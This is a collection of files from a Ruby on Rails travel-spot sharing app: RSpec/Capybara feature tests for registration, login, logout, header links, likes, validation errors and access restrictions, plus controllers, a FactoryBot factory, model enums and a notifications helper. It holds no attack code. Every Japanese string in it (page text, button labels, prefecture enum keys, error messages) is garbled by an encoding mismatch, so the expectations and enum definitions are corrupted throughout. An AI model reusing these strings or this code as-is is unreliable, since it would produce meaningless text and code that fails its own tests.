expect(page).to have_content 'ๆฐ่ฆไผๅก็ป้ฒ'
end
it 'ใๆฐๅ(ใใซใใผใ )ใใใฉใผใ ใ่กจ็คบใใใ' do
expect(page).to have_field 'user[fullname]'
end
it 'ใใใใฏใใผใ ใใใฉใผใ ใ่กจ็คบใใใ' do
expect(page).to have_field 'user[nickname]'
end
it 'ใใกใผใซใขใใฌในใใใฉใผใ ใ่กจ็คบใใใ' do
expect(page).to have_field 'user[email]'
end
it 'ใๆงๅฅใใใฉใผใ ใ่กจ็คบใใใ' do
expect(page).to have_field 'user[sex]'
end
it 'ใ่ช็ๆฅใใใฉใผใ ใ่กจ็คบใใใ' do
expect(page).to have_field 'user[birthday(1i)]'
expect(page).to have_field 'user[birthday(2i)]'
expect(page).to have_field 'user[birthday(3i)]'
end
it 'ใไฝๆ(้ฝ้ๅบ็)ใใใฉใผใ ใ่กจ็คบใใใ' do
expect(page).to have_field 'user[prefecture]'
end
it 'ใไฝๆ(ๅธๅบ็บๆ)ใใใฉใผใ ใ่กจ็คบใใใ' do
expect(page).to have_field 'user[city]'
end
it 'ใใในใฏใผใ(่ฑๆฐๅญ6ๆๅญไปฅไธ)ใใใฉใผใ ใ่กจ็คบใใใ' do
expect(page).to have_field 'user[password]'
end
it 'ใใในใฏใผใ๏ผ็ขบ่ช๏ผใใใฉใผใ ใ่กจ็คบใใใ' do
expect(page).to have_field 'user[password_confirmation]'
end
it 'ๆฐ่ฆ็ป้ฒใใฟใณใ่กจ็คบใใใ' do
expect(page).to have_button 'ๆฐ่ฆ็ป้ฒ'
end
it 'ใไผๅกใฎๆนใฏใใกใใใใญใฐใคใณใใจ่กจ็คบใใใฆใใ' do
expect(page).to have_content 'ไผๅกใฎๆนใฏใใกใใใใญใฐใคใณ'
end
it 'ใใใกใใใๆผใใจใญใฐใคใณ็ป้ขใซ้ท็งปใใ' do
log_in_link = find_all('a')[4]
log_in_link.click
expect(current_path).to eq('/users/sign_in')
end
end
context 'ๆฐ่ฆ็ป้ฒๆๅใฎใในใ' do
before do
fill_in 'user[fullname]', with: Faker::Lorem.characters(number: 10)
fill_in 'user[nickname]', with: Faker::Lorem.characters(number: 10)
fill_in 'user[email]', with: Faker::Internet.email
choose('user_sex_male')
select '2000', from: 'user_birthday_1i'
select '1', from: 'user_birthday_2i'
select '1', from: 'user_birthday_3i'
select 'ๆฑไบฌ้ฝ', from: 'user_prefecture'
fill_in 'user[city]', with: Faker::Lorem.characters(number: 10)
fill_in 'user[password]', with: 'password'
fill_in 'user[password_confirmation]', with: 'password'
end
it 'ๆญฃใใๆฐ่ฆ็ป้ฒใใใ' do
expect { click_button 'ๆฐ่ฆ็ป้ฒ' }.to change(User.all, :count).by(1)
end
it 'ๆฐ่ฆ็ป้ฒๅพใฎใชใใคใฌใฏใๅ
ใใๆฐ่ฆ็ป้ฒใงใใใฆใผใถใฎ่ฉณ็ดฐ็ป้ขใซใชใฃใฆใใ' do
click_button 'ๆฐ่ฆ็ป้ฒ'
expect(current_path).to eq '/users/' + User.last.id.to_s
end
end
end
describe 'ใฆใผใถใญใฐใคใณ' do
let(:user) { create(:user) }
before do
visit new_user_session_path
end
context '่กจ็คบๅ
ๅฎนใฎ็ขบ่ช' do
it 'URLใๆญฃใใ' do
expect(current_path).to eq '/users/sign_in'
end
it 'ใใญใฐใคใณใใจ่กจ็คบใใใ' do
expect(page).to have_content 'ใญใฐใคใณ'
end
it 'ใใกใผใซใขใใฌในใใใฉใผใ ใ่กจ็คบใใใ' do
expect(page).to have_field 'user[email]'
end
it 'ใใในใฏใผใใใใฉใผใ ใ่กจ็คบใใใ' do
expect(page).to have_field 'user[password]'
end
it 'ใใญใฐใคใณใใใฟใณใ่กจ็คบใใใ' do
expect(page).to have_button 'ใญใฐใคใณ'
end
it 'ใๅ
ฅๅๆ
ๅ ฑใ่จๆถใใใใฎใใงใใฏใใใฏในใ่กจ็คบใใใฆใใ' do
expect(page).to have_field('user_remember_me')
end
it 'ใๆฐ่ฆ็ป้ฒใฏใใกใใใใใจ่กจ็คบใใใฆใใ' do
expect(page).to have_content 'ๆฐ่ฆ็ป้ฒใฏใใกใใใ'
end
it 'ใใใกใ(ๆฐ่ฆ็ป้ฒ)ใใๆผใใจๆฐ่ฆ็ป้ฒ็ป้ขใซ้ท็งปใใ' do
log_in_link = find_all('a')[4]
log_in_link.click
expect(current_path).to eq('/users/sign_up')
end
it 'ใใในใฏใผใใใๅฟใใฎๆนใฏใใกใใใจ่กจ็คบใใใฆใใ' do
expect(page).to have_content 'ใในใฏใผใใใๅฟใใฎๆนใฏใใกใ'
end
it 'ใใใกใ(ใในใฏใผใ)ใใๆผใใจใในใฏใผใ็บ่ก็ป้ขใซ้ท็งปใใ' do
log_in_link = find_all('a')[5]
log_in_link.click
expect(current_path).to eq('/users/password/new')
end
end
context 'ใญใฐใคใณๆๅใฎใในใ' do
before do
fill_in 'user[email]', with: user.email
fill_in 'user[password]', with: user.password
click_button 'ใญใฐใคใณ'
end
it 'ใญใฐใคใณๅพใฎใชใใคใฌใฏใๅ
ใใใญใฐใคใณใใใฆใผใถใฎ่ฉณ็ดฐ็ป้ขใซใชใฃใฆใใ' do
expect(current_path).to eq '/users/' + user.id.to_s
end
end
context 'ใญใฐใคใณๅคฑๆใฎใในใ' do
before do
fill_in 'user[email]', with: ''
fill_in 'user[password]', with: ''
click_button 'ใญใฐใคใณ'
end
it 'ใญใฐใคใณใซๅคฑๆใใใญใฐใคใณ็ป้ขใซใชใใคใฌใฏใใใใ' do
expect(current_path).to eq '/users/sign_in'
end
end
end
describe 'ใใใใผใฎใในใ: ใญใฐใคใณใใฆใใๅ ดๅ' do
let(:user) { create(:user) }
before do
visit new_user_session_path
fill_in 'user[email]', with: user.email
fill_in 'user[password]', with: user.password
click_button 'ใญใฐใคใณ'
end
context 'ใใใใผใฎ่กจ็คบใ็ขบ่ช' do
it 'ใฟใคใใซใ่กจ็คบใใใ' do
expect(page).to have_content 'JapanSiteInfo'
end
it 'ใฆใผใถใผๅใ่กจ็คบใใใ: ๅทฆไธใใ2็ช็ฎใฎใชใณใฏใใ(ใฆใผใถใผใใใฏใใผใ )ใใใใงใใ' do
users_link = find_all('a')[1].native.inner_text
expect(users_link).to match("#{user.nickname}ใใ")
end
it 'ใ้็ฅใใชใณใฏใ่กจ็คบใใใ: ๅทฆไธใใ3็ช็ฎใฎใชใณใฏใใ้็ฅใใงใใ' do
books_link = find_all('a')[2].native.inner_text
expect(books_link).to match('้็ฅ')
end
it 'ใๆฐ่ฆๆ็จฟใใชใณใฏใ่กจ็คบใใใ: ๅทฆไธใใ4็ช็ฎใฎใชใณใฏใใๆฐ่ฆๆ็จฟใใงใใ' do
books_link = find_all('a')[3].native.inner_text
expect(books_link).to match('ๆฐ่ฆๆ็จฟ')
end
it 'ใไธ่ฆงใปใใฎไปใใชใณใฏใ่กจ็คบใใใ: ๅทฆไธใใ5็ช็ฎใฎใชใณใฏใใไธ่ฆงใปใใฎไปใใงใใ' do
logout_link = find_all('a')[4].native.inner_text
expect(logout_link).to match('ไธ่ฆงใปใใฎไป')
end
it 'ใในใใใไธ่ฆงใใชใณใฏใ่กจ็คบใใใ: ใไธ่ฆงใปใใฎไปใไธญใฎ1็ช็ฎใฎใชใณใฏใใในใใใไธ่ฆงใใงใใ' do
logout_link = find_all('a')[5].native.inner_text
expect(logout_link).to match('ในใใใไธ่ฆง')
end
it 'ใใญใผใฏใผใไธ่ฆงใใชใณใฏใ่กจ็คบใใใ: ใไธ่ฆงใปใใฎไปใไธญใฎ2็ช็ฎใฎใชใณใฏใใใญใผใฏใผใไธ่ฆงใใงใใ' do
logout_link = find_all('a')[6].native.inner_text
expect(logout_link).to match('ใญใผใฏใผใไธ่ฆง')
end
it 'ใใฆใผใถใผไธ่ฆงใใชใณใฏใ่กจ็คบใใใ: ใไธ่ฆงใปใใฎไปใไธญใฎ3็ช็ฎใฎใชใณใฏใใใฆใผใถใผไธ่ฆงใใงใใ' do
logout_link = find_all('a')[7].native.inner_text
expect(logout_link).to match('ใฆใผใถใผไธ่ฆง')
end
it 'ใใฉใณใญใณใฐใใชใณใฏใ่กจ็คบใใใ: ใไธ่ฆงใปใใฎไปใไธญใฎ4็ช็ฎใฎใชใณใฏใใใฉใณใญใณใฐใใงใใ' do
logout_link = find_all('a')[8].native.inner_text
expect(logout_link).to match('ใฉใณใญใณใฐ')
end
it 'ใใญใฐใขใฆใใใชใณใฏใ่กจ็คบใใใ: ๅทฆไธใใ6็ช็ฎใฎใชใณใฏใใใญใฐใขใฆใใใงใใ' do
logout_link = find_all('a')[9].native.inner_text
expect(logout_link).to match('ใญใฐใขใฆใ')
end
end
end
describe 'ใฆใผใถใญใฐใขใฆใใฎใในใ' do
let(:user) { create(:user) }
before do
visit new_user_session_path
fill_in 'user[email]', with: user.email
fill_in 'user[password]', with: user.password
click_button 'ใญใฐใคใณ'
logout_link = find_all('a')[9].native.inner_text
logout_link = logout_link.gsub(/\n/, '').gsub(/\A\s*/, '').gsub(/\s*\Z/, '')
click_link logout_link
end
context 'ใญใฐใขใฆใๆฉ่ฝใฎใในใ' do
it 'ๆญฃใใใญใฐใขใฆใใงใใฆใใ: ใญใฐใขใฆใๅพใฎใชใใคใฌใฏใๅ
ใซใใใฆใขใใฆใ็ป้ขใธใฎใชใณใฏใๅญๅจใใ' do
expect(page).to have_link '', href: '/about'
end
it 'ใญใฐใขใฆใๅพใฎใชใใคใฌใฏใๅ
ใใใใใใซใชใฃใฆใใ' do
expect(current_path).to eq '/'
end
end
end
end
describe '[STEP1] ใฆใผใถใญใฐใคใณๅใฎใในใ ใใใญๆฉ่ฝใฎใในใ' do
let(:user) { create(:user, profile_image: nil) }
let!(:spot) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) }
context 'ใใใ็ป้ขใงใฎใในใ' do
before do
visit top_path
end
it 'ใใใญใๆผใ', js: true do
expect do
find("#like-#{spot.id}").click
sleep 1
end.to change { spot.favorites.count }.by(1)
expect(page).to have_css "#unlike-#{spot.id}"
end
end
context 'ในใใใ่ฉณ็ดฐ็ป้ขใงใฎใในใ' do
before do
visit spot_path(spot)
end
it 'ใใใญใๆผใ', js: true do
expect do
find("#like-#{spot.id}").click
sleep 1
end.to change { spot.favorites.count }.by(1)
expect(page).to have_css "#unlike-#{spot.id}"
end
end
context 'ในใใใไธ่ฆง็ป้ขใงใฎใในใ' do
before do
visit spots_path
end
it 'ใใใญใๆผใ', js: true do
expect do
find("#like-#{spot.id}").click
sleep 1
end.to change { spot.favorites.count }.by(1)
expect(page).to have_css "#unlike-#{spot.id}"
end
end
end
```
keywords_controller.rb
```class KeywordsController < ApplicationController
before_action :authenticate_user!, { only: [:index] }
def show
@keyword = Keyword.find(params[:id])
@q = @keyword.spots.ransack(params[:q])
@q.sorts = 'created_at desc' if @q.sorts.empty?
@spots = @q.result(distinct: true).page(params[:page]).includes(:favorites)
@cookies = cookies[:favorite_spot_id]
end
def index
@q = Keyword.ransack(params[:q])
@q.sorts = 'updated_at desc' if @q.sorts.empty?
@keywords = @q.result.page(params[:page]).includes(:spots)
@rate_avg = @keywords.joins(:spots).group("keywords.id").average(:rate)
end
end
```
users.rb
```FactoryBot.define do
factory :user do
fullname { Faker::Lorem.characters(number: 10) }
nickname { Faker::Lorem.characters(number: 10) }
sex { '็ทๆง' }
birthday { '1990-01-01' }
prefecture { 'ๆฑไบฌ้ฝ' }
city { Faker::Lorem.characters(number: 5) }
email { Faker::Internet.email }
profile_image { File.open("#{Rails.root}/app/assets/images/image7.jpg") }
introduction { Faker::Lorem.characters(number: 20) }
password { 'password' }
password_confirmation { 'password' }
factory :other_user do
sex { 'ๅฅณๆง' }
birthday { '2000-01-01' }
prefecture { 'ๅคง้ชๅบ' }
profile_image { File.open("#{Rails.root}/app/assets/images/image8.jpg") }
end
factory :other_user2 do
birthday { '1995-01-01' }
prefecture { 'ๆฒ็ธ็' }
profile_image { File.open("#{Rails.root}/app/assets/images/image9.jpg") }
end
factory :search_user do
nickname { 'ใใใณ' }
sex { 'ๅฅณๆง' }
birthday { '1990-01-01' }
prefecture { 'ๅ่็' }
city { 'ๅๆฟ็ทๅธ' }
end
factory :search_user2 do
nickname { 'ใฟใญใผ' }
birthday { '1980-01-01' }
prefecture { 'ๅผ็็' }
city { 'ๆๆฒขๅธ' }
end
end
end
```
application_record.rb
```class ApplicationRecord < ActiveRecord::Base
self.abstract_class = true
#ๆงๅฅ้ธๆ
enum sex: { ็ทๆง: 0, ๅฅณๆง: 1 }
#้ฝ้ๅบ็้ธๆ
enum prefecture: {
ๅๆตท้: 1, ้ๆฃฎ็: 2, ๅฒฉๆ็: 3, ๅฎฎๅ็: 4, ็ง็ฐ็: 5, ๅฑฑๅฝข็: 6, ็ฆๅณถ็: 7,
่จๅ็: 8, ๆ ๆจ็: 9, ็พค้ฆฌ็: 10, ๅผ็็: 11, ๅ่็: 12, ๆฑไบฌ้ฝ: 13, ็ฅๅฅๅท็: 14,
ๆฐๆฝ็: 15, ๅฏๅฑฑ็: 16, ็ณๅท็: 17, ็ฆไบ็: 18, ๅฑฑๆขจ็: 19, ้ท้็: 20,
ๅฒ้็: 21, ้ๅฒก็: 22, ๆ็ฅ็: 23, ไธ้็: 24,
ๆป่ณ็: 25, ไบฌ้ฝๅบ: 26, ๅคง้ชๅบ: 27, ๅ
ตๅบซ็: 28, ๅฅ่ฏ็: 29, ๅๆญๅฑฑ็: 30,
้ณฅๅ็: 31, ๅณถๆ น็: 32, ๅฒกๅฑฑ็: 33, ๅบๅณถ็: 34, ๅฑฑๅฃ็: 35,
ๅพณๅณถ็: 36, ้ฆๅท็: 37, ๆๅช็: 38, ้ซ็ฅ็: 39,
็ฆๅฒก็: 40, ไฝ่ณ็: 41, ้ทๅด็: 42, ็ๆฌ็: 43, ๅคงๅ็: 44, ๅฎฎๅด็: 45, ้นฟๅ
ๅณถ็: 46,
ๆฒ็ธ็: 47,
}
#ใใใญๆฐใฝใผใ(SQLๅญฆ็ฟใฎใใ่จ่ฟฐ)
ransacker :favorites_count do
query = <<-SQL
(SELECT COUNT(favorites.spot_id) as favorites_count
FROM favorites
WHERE favorites.spot_id = spots.id
GROUP BY favorites.spot_id)
SQL
Arel.sql(query)
end
#ในใใใ่ฉไพกๅนณๅใฝใผใ(SQLๅญฆ็ฟใฎใใ่จ่ฟฐ)
ransacker :rate_average do
query = <<-SQL
(SELECT AVG(spots.rate) as rate_average
FROM keyword_relationships, spots
WHERE keywords.id = keyword_relationships.keyword_id
AND spots.id = keyword_relationships.spot_id
GROUP BY keyword_relationships.keyword_id)
SQL
Arel.sql(query)
end
end
```
rankings_controller.rb
```class RankingsController < ApplicationController
before_action :authenticate_user!, { only: [:user_favorite, :spot_favorite] }
def user_favorite
@all_ranks = Spot.joins(:favorites).group("spots.user_id").count("favorites.id")
@spots_count = User.joins(:spots).group("user_id").count("spots.id")
end
def spot_favorite
@all_ranks = Spot.includes(:user, :favorites).create_spot_favorite_ranks
end
end
```
notifications_helper.rb
```module NotificationsHelper
def notification_form(notification)
@server = notification.server
@comment = nil
@server_comment = notification.comment_id
case notification.kind
when 'follow' then
tag.a(notification.server.nickname, href: user_path(@server)) + "ใใใชใใใใฉใญใผใใพใใ"
when 'favorite' then
tag.a(notification.server.nickname, href: user_path(@server)) + "ใ" + tag.a("ใใชใใฎๆ็จฟ", href: spot_path(notification.spot_id)) + "ใซใใใญใใพใใ"
when 'comment' then
tag.a(@server.nickname, href: user_path(@server)) + "ใ" + tag.a("ใใชใใฎๆ็จฟ", href: spot_path(notification.spot_id)) + "ใซใณใกใณใใใพใใ"
end
end
def uncheck_notifications
@notifications = current_user.passive_notifications.where(check: false)
end
end
```
03_finishing_touches_spec.rb
```require 'rails_helper'
describe '[STEP3] ไปไธใใฎใในใ' do
let(:user) { create(:user) }
let!(:other_user) { create(:user) }
let!(:spot) { create(:spot, user: user) }
let!(:other_spot) { create(:spot, user: other_user) }
describe 'ใตใฏใปในใกใใปใผใธใฎใในใ' do
subject { page }
it 'ใฆใผใถๆฐ่ฆ็ป้ฒๆๅๆ' do
visit new_user_registration_path
fill_in 'user[fullname]', with: Faker::Lorem.characters(number: 10)
fill_in 'user[nickname]', with: Faker::Lorem.characters(number: 10)
fill_in 'user[email]', with: 'a' + user.email
choose('user_sex_male')
select '2000', from: 'user_birthday_1i'
select '1', from: 'user_birthday_2i'
select '1', from: 'user_birthday_3i'
select 'ๆฑไบฌ้ฝ', from: 'user_prefecture'
fill_in 'user[city]', with: Faker::Lorem.characters(number: 10)
fill_in 'user[password]', with: 'password'
fill_in 'user[password_confirmation]', with: 'password'
click_button 'ๆฐ่ฆ็ป้ฒ'
is_expected.to have_content 'ใใใใ๏ผ ใขใซใฆใณใใ็ป้ฒใใใพใใ'
end
it 'ใฆใผใถใญใฐใคใณๆๅๆ' do
visit new_user_session_path
fill_in 'user[email]', with: user.email
fill_in 'user[password]', with: user.password
click_button 'ใญใฐใคใณ'
is_expected.to have_content 'ใญใฐใคใณใใพใใ'
end
it 'ใฆใผใถใญใฐใขใฆใๆๅๆ' do
visit new_user_session_path
fill_in 'user[email]', with: user.email
fill_in 'user[password]', with: user.password
click_button 'ใญใฐใคใณ'
logout_link = find_all('a')[9].native.inner_text
logout_link = logout_link.gsub(/\n/, '').gsub(/\A\s*/, '').gsub(/\s*\Z/, '')
click_link logout_link
is_expected.to have_content 'ใญใฐใขใฆใใใพใใ'
end
it 'ใฆใผใถใฎใใญใใฃใผใซๆ
ๅ ฑๆดๆฐๆๅๆ' do
visit new_user_session_path
fill_in 'user[email]', with: user.email
fill_in 'user[password]', with: user.password
click_button 'ใญใฐใคใณ'
visit edit_user_path(user)
click_button 'ๆดๆฐใใ'
is_expected.to have_content 'ใใญใใฃใผใซใๆดๆฐใใพใใ'
end
it 'ๆ็จฟใใผใฟใฎๆฐ่ฆๆ็จฟๆๅๆ' do
visit new_user_session_path
fill_in 'user[email]', with: user.email
fill_in 'user[password]', with: user.password
click_button 'ใญใฐใคใณ'
visit new_spot_path
fill_in 'spot[title]', with: Faker::Lorem.characters(number: 10)
select 'ๆฑไบฌ้ฝ', from: 'spot_prefecture'
fill_in 'spot[city]', with: Faker::Lorem.characters(number: 10)
select '2021', from: 'spot_visited_day_1i'
select '1', from: 'spot_visited_day_2i'
select '1', from: 'spot_visited_day_3i'
find('input[@name="spot[rate]"]', visible: false).set('5')
attach_file "spot[spot_image1]", "app/assets/images/image1.jpg"
attach_file "spot[spot_image2]", "app/assets/images/image2.jpg"
attach_file "spot[spot_image3]", "app/assets/images/image3.jpg"
fill_in 'spot[content]', with: Faker::Lorem.characters(number: 50)
click_button 'ๆ็จฟใใ'
is_expected.to have_content 'ในใใใใๆ็จฟใใพใใ'
end
it 'ๆ็จฟใใผใฟใฎๆดๆฐๆๅๆ' do
visit new_user_session_path
fill_in 'user[email]', with: user.email
fill_in 'user[password]', with: user.password
click_button 'ใญใฐใคใณ'
visit edit_spot_path(spot)
click_button 'ๆดๆฐใใ'
is_expected.to have_content 'ในใใใใๆดๆฐใใพใใ'
end
end
describe 'ๅฆ็ๅคฑๆๆใฎใในใ' do
context 'ใฆใผใถๆฐ่ฆ็ป้ฒๅคฑๆ: ่ช็ๆฅใๆชๆฅใฎๆฅไปใซใใ' do
before do
visit new_user_registration_path
@fullname = Faker::Lorem.characters(number: 10)
@nickname = Faker::Lorem.characters(number: 10)
@email = 'a' + user.email
@sex = 'user_sex_male'
@prefecture = 'ๆฑไบฌ้ฝ'
@city = Faker::Lorem.characters(number: 10)
fill_in 'user[fullname]', with: @fullname
fill_in 'user[nickname]', with: @nickname
fill_in 'user[email]', with: @email
choose(@sex)
select '2021', from: 'user_birthday_1i'
select '12', from: 'user_birthday_2i'
select '31', from: 'user_birthday_3i'
select @prefecture, from: 'user_prefecture'
fill_in 'user[city]', with: @city
fill_in 'user[password]', with: 'password'
fill_in 'user[password_confirmation]', with: 'password'
end
it 'ๆฐ่ฆ็ป้ฒใใใชใ' do
expect { click_button 'ๆฐ่ฆ็ป้ฒ' }.not_to change(User.all, :count)
end
it 'ๆฐ่ฆ็ป้ฒ็ป้ขใ่กจ็คบใใฆใใใใใฉใผใ ใฎๅ
ๅฎนใๆญฃใใ' do
click_button 'ๆฐ่ฆ็ป้ฒ'
expect(page).to have_content 'ๆฐ่ฆ็ป้ฒ'
expect(page).to have_field 'user[fullname]', with: @fullname
expect(page).to have_field 'user[nickname]', with: @nickname
expect(page).to have_field 'user[email]', with: @email
expect(page).to have_checked_field @sex
expect(page).to have_field 'user[birthday(1i)]', with: 2021
expect(page).to have_field 'user[birthday(2i)]', with: 12
expect(page).to have_field 'user[birthday(3i)]', with: 31
expect(page).to have_select('้ฝ้ๅบ็', selected: @prefecture)
expect(page).to have_field 'user[city]', with: @city
end
it 'ใใชใใผใทใงใณใจใฉใผใ่กจ็คบใใใ' do
click_button 'ๆฐ่ฆ็ป้ฒ'
expect(page).to have_content "่ช็ๆฅใ็กๅนใชๆฅไปใงใ"
end
end
context 'ใฆใผใถใฎใใญใใฃใผใซๆ
ๅ ฑ็ทจ้ๅคฑๆ: ่ช็ๆฅใๆชๆฅใฎๆฅไปใซใใ' do
before do
@user_old_birthday = user.birthday
visit new_user_session_path
fill_in 'user[email]', with: user.email
fill_in 'user[password]', with: user.password
click_button 'ใญใฐใคใณ'
visit edit_user_path(user)
select '2021', from: 'user_birthday_1i'
select '12', from: 'user_birthday_2i'
select '31', from: 'user_birthday_3i'
click_button 'ๆดๆฐใใ'
end
it 'ๆดๆฐใใใชใ' do
expect(user.reload.birthday).to eq @user_old_birthday
end
it 'ใฆใผใถ็ทจ้็ป้ขใ่กจ็คบใใฆใใใใใฉใผใ ใฎๅ
ๅฎนใๆญฃใใ' do
expect(page).to have_field 'user[fullname]', with: user.fullname
expect(page).to have_field 'user[nickname]', with: user.nickname
expect(page).to have_field 'user[email]', with: user.email
expect(page).to have_checked_field 'edit_user_sex_male'
expect(page).to have_field 'user[birthday(1i)]', with: 2021
expect(page).to have_field 'user[birthday(2i)]', with: 12
expect(page).to have_field 'user[birthday(3i)]', with: 31
expect(page).to have_select('้ฝ้ๅบ็', selected: 'ๆฑไบฌ้ฝ')
expect(page).to have_field 'user[city]', with: user.city
expect(page).to have_selector("img[src$='profile_image.jpeg']")
expect(page).to have_field 'user[introduction]', with: user.introduction
end
it 'ใใชใใผใทใงใณใจใฉใผใ่กจ็คบใใใ' do
expect(page).to have_content "่ช็ๆฅใ็กๅนใชๆฅไปใงใ"
end
end
context 'ๆ็จฟใใผใฟใฎๆฐ่ฆๆ็จฟๅคฑๆ: ใฟใคใใซใ็ฉบใซใใ' do
before do
visit new_user_session_path
fill_in 'user[email]', with: user.email
fill_in 'user[password]', with: user.password
click_button 'ใญใฐใคใณ'
visit new_spot_path
@city = Faker::Lorem.characters(number: 10)
@content = Faker::Lorem.characters(number: 50)
select 'ๆฑไบฌ้ฝ', from: 'spot_prefecture'
fill_in 'spot[city]', with: @city
select '2021', from: 'spot_visited_day_1i'
select '1', from: 'spot_visited_day_2i'
select '1', from: 'spot_visited_day_3i'
find('input[@name="spot[rate]"]', visible: false).set('5')
fill_in 'spot[content]', with: @content
end
it 'ๆ็จฟใไฟๅญใใใชใ' do
expect { click_button 'ๆ็จฟใใ' }.not_to change(Spot.all, :count)
end
it 'ๆฐ่ฆๆ็จฟใใฉใผใ ใฎๅ
ๅฎนใๆญฃใใ' do
click_button 'ๆ็จฟใใ'
expect(find_field('spot[title]').text).to be_blank
expect(page).to have_select('้ฝ้ๅบ็', selected: 'ๆฑไบฌ้ฝ')
expect(page).to have_field 'spot[city]', with: @city
expect(page).to have_field 'spot[visited_day(1i)]', with: 2021
expect(page).to have_field 'spot[visited_day(2i)]', with: 1
expect(page).to have_field 'spot[visited_day(3i)]', with: 1
expect(page).to have_field 'spot[content]', with: @content
end
it 'ใใชใใผใทใงใณใจใฉใผใ่กจ็คบใใใ' do
click_button 'ๆ็จฟใใ'
expect(page).to have_content "ใฟใคใใซใๅ
ฅๅใใฆใใ ใใ"
end
end
context 'ๆ็จฟใใผใฟใฎๆดๆฐๅคฑๆ: titleใ็ฉบใซใใ' do
before do
visit new_user_session_path
fill_in 'user[email]', with: user.email
fill_in 'user[password]', with: user.password
click_button 'ใญใฐใคใณ'
visit edit_spot_path(spot)
@spot_old_title = spot.title
fill_in 'spot[title]', with: ''
click_button 'ๆดๆฐใใ'
end
it 'ในใใใใๆดๆฐใใใชใ' do
expect(spot.reload.title).to eq @spot_old_title
end
it 'ในใใใ็ทจ้็ป้ขใ่กจ็คบใใฆใใใใใฉใผใ ใฎๅ
ๅฎนใๆญฃใใ' do
expect(current_path).to eq '/spots/' + spot.id.to_s
expect(find_field('spot[title]').text).to be_blank
expect(page).to have_select('้ฝ้ๅบ็', selected: 'ๆฑไบฌ้ฝ')
expect(page).to have_field 'spot[city]', with: spot.city
expect(page).to have_field 'spot[visited_day(1i)]', with: 2020
expect(page).to have_field 'spot[visited_day(2i)]', with: 1
expect(page).to have_field 'spot[visited_day(3i)]', with: 1
expect(page).to have_selector("img[src$='spot_image1.jpeg']")
expect(page).to have_selector("img[src$='spot_image2.jpeg']")
expect(page).to have_selector("img[src$='spot_image3.jpeg']")
expect(page).to have_field 'spot[content]', with: spot.content
end
it 'ใจใฉใผใกใใปใผใธใ่กจ็คบใใใ' do
expect(page).to have_content 'ใฟใคใใซใๅ
ฅๅใใฆใใ ใใ'
end
end
end
describe 'ใญใฐใคใณใใฆใใชใๅ ดๅใฎใขใฏใปในๅถ้ใฎใในใ: ใขใฏใปในใงใใใๆฐ่ฆ็ป้ฒ็ป้ขใพใใฏใใใ็ป้ขใซ้ท็งปใใ' do
subject { current_path }
it 'ใฆใผใถไธ่ฆง็ป้ข' do
visit users_path
is_expected.to eq '/users/sign_up'
end
it 'ใฆใผใถ่ฉณ็ดฐ็ป้ข' do
visit user_path(user)
is_expected.to eq '/users/sign_up'
end
it 'ใฆใผใถๆ
ๅ ฑ็ทจ้็ป้ข' do
visit edit_user_path(user)
is_expected.to eq '/'
end
it 'ๆ็จฟ็ทจ้็ป้ข' do
visit edit_spot_path(spot)
is_expected.to eq '/'
end
it 'ใญใผใฏใผใไธ่ฆง็ป้ข' do
visit keywords_path
is_expected.to eq '/users/sign_up'
end
it 'ใใฉใญใผไธ่ฆง็ป้ข' do
visit following_user_path(user)
is_expected.to eq '/users/sign_up'
end
it 'ใใฉใญใฏใผไธ่ฆง็ป้ข' do
visit followers_user_path(user)
is_expected.to eq '/users/sign_up'
end
it 'ใฉใณใญใณใฐ(ในใใใ)็ป้ข' do
visit spot_favorite_ranking_path
is_expected.to eq '/users/sign_up'
end
it 'ใฉใณใญใณใฐ(ใฆใผใถใผ)็ป้ข' do
visit user_favorite_ranking_path
is_expected.to eq '/users/sign_up'
end
end
describe 'ไปไบบใฎ็ป้ขใฎใในใ' do
before do
visit new_user_session_path
fill_in 'user[email]', with: user.email
fill_in 'user[password]', with: user.password
click_button 'ใญใฐใคใณ'
end
describe 'ไปไบบใฎๆ็จฟ่ฉณ็ดฐ็ป้ขใฎใในใ' do
before do
visit spot_path(other_spot)
end
context '่กจ็คบๅ
ๅฎนใฎ็ขบ่ช' do
it 'URLใๆญฃใใ' do
expect(current_path).to eq '/spots/' + other_spot.id.to_s
end
it 'ในใใใใฎใฟใคใใซใ่กจ็คบใใใ' do
expect(page).to have_content other_spot.title
end
it 'ในใใใใฎ้ฝ้ๅบ็ใ่กจ็คบใใใ' do
expect(page).to have_content other_spot.prefecture
end
it 'ในใใใใฎๅธๅบ็บๆใ่กจ็คบใใใ' do
expect(page).to have_content other_spot.city
end
it 'ในใใใใฎๆ็จฟๆฅใ่กจ็คบใใใ' do
expect(page).to have_content other_spot.created_at.strftime("%Yๅนด%-mๆ%-dๆฅ")
end
it 'ในใใใใฎๆฅ่จชๆฅใ่กจ็คบใใใ' do
expect(page).to have_content other_spot.visited_day.strftime("%Yๅนด%-mๆ%-dๆฅ")
end
it 'ในใใใใฎ่ฉไพกใ่กจ็คบใใใ', js: true do
expect(page).to have_content other_spot.rate
sleep 3
end
it 'ในใใใใฎใใใญใใฟใณใ่กจ็คบใใใ' do
expect(page).to have_link '', href: spot_favorites_path(other_spot)
end
it '่ชๅใฎในใใใใฎใใใญๆฐใ่กจ็คบใใใ' do
expect(page).to have_content other_spot.favorites.count
end
it 'ในใใใใฎ็ปๅ(1ๆ็ฎ)ใ่กจ็คบใใใ' do
expect(page).to have_selector("img[src$='spot_image1.jpeg']")
expect(page).to have_selector("img[src$='spot_image2.jpeg']")
expect(page).to have_selector("img[src$='spot_image3.jpeg']")
end
it 'ในใใใใฎๅ
ๅฎนใ่กจ็คบใใใ' do
expect(page).to have_content other_spot.content
end
it 'ๆ็จฟใฎ็ทจ้ใชใณใฏใ่กจ็คบใใใชใ' do
expect(page).not_to have_link '็ทจ้ใใ'
end
it 'ๆ็จฟใฎๅ้คใชใณใฏใ่กจ็คบใใใชใ' do
expect(page).not_to have_link 'ๅ้คใใ'
end
end
context 'ใตใคใใใผใฎ็ขบ่ช' do
it 'ใๆ็จฟ่
ใใญใใฃใผใซใใจ่กจ็คบใใใฆใใ' do
expect(page).to have_content 'ๆ็จฟ่
ใใญใใฃใผใซ'
end
it 'ไปไบบใฎใใญใใฃใผใซ็ปๅใ่กจ็คบใใใ' do
expect(page).to have_selector("img[src$='profile_image.jpeg']")
end
it 'ไปไบบใฎใใใฏใใผใ ใ่กจ็คบใใใ' do
expect(page).to have_content other_user.nickname
end
it 'ไปไบบใฎๆงๅฅใ่กจ็คบใใใ' do
expect(page).to have_content other_user.sex
end
